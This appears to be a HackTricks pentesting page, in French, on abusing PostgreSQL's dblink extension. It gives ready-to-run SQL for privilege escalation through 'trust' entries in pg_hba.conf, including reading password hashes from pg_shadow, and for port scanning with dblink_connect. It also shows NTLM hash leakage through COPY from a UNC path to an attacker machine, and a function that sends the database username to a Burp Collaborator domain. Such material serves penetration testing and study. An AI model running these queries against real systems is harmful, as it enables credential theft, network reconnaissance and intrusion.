Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Trouvez plus d'informations sur ces attaques dans le document original.

Depuis PostgreSQL 9.1, l'installation de modules supplémentaires est simple. Les extensions enregistrées comme dblink peuvent être installées avec CREATE EXTENSION:

CREATE EXTENSION dblink;

Une fois que vous avez chargé dblink, vous pourriez être en mesure d'effectuer quelques astuces intéressantes :

Élévation de privilèges

Le fichier pg_hba.conf pourrait être mal configuré, autorisant les connexions depuis localhost en tant que n'importe quel utilisateur sans avoir besoin de connaître le mot de passe. Ce fichier est généralement situé dans /etc/postgresql/12/main/pg_hba.conf et une mauvaise configuration ressemble à :

local    all    all    trust

Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez la trouver. Notez également que le fichier pg_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres.

Ce cas est utile si vous avez déjà un shell à l'intérieur de la victime car cela vous permettra de vous connecter à la base de données postgresql.

Une autre mauvaise configuration possible consiste en quelque chose comme ceci :

host    all     all     127.0.0.1/32    trust

Comme cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant qu'utilisateur. Dans ce cas et si la fonction dblink fonctionne, vous pourriez escalader les privilèges en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas pouvoir accéder:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Balayage de ports

En abusant de dblink_connect, vous pourriez également rechercher des ports ouverts. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser dblink_connect_u() car la documentation indique que dblink_connect_u() est identique à dblink_connect(), sauf qu'elle permet aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Notez que avant de pouvoir utiliser dblink_connect ou dblink_connect_u, vous devrez peut-être exécuter :

CREATE extension dblink;

Chemin UNC - Divulgation du hachage NTLM

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks :

Dernière mise à jour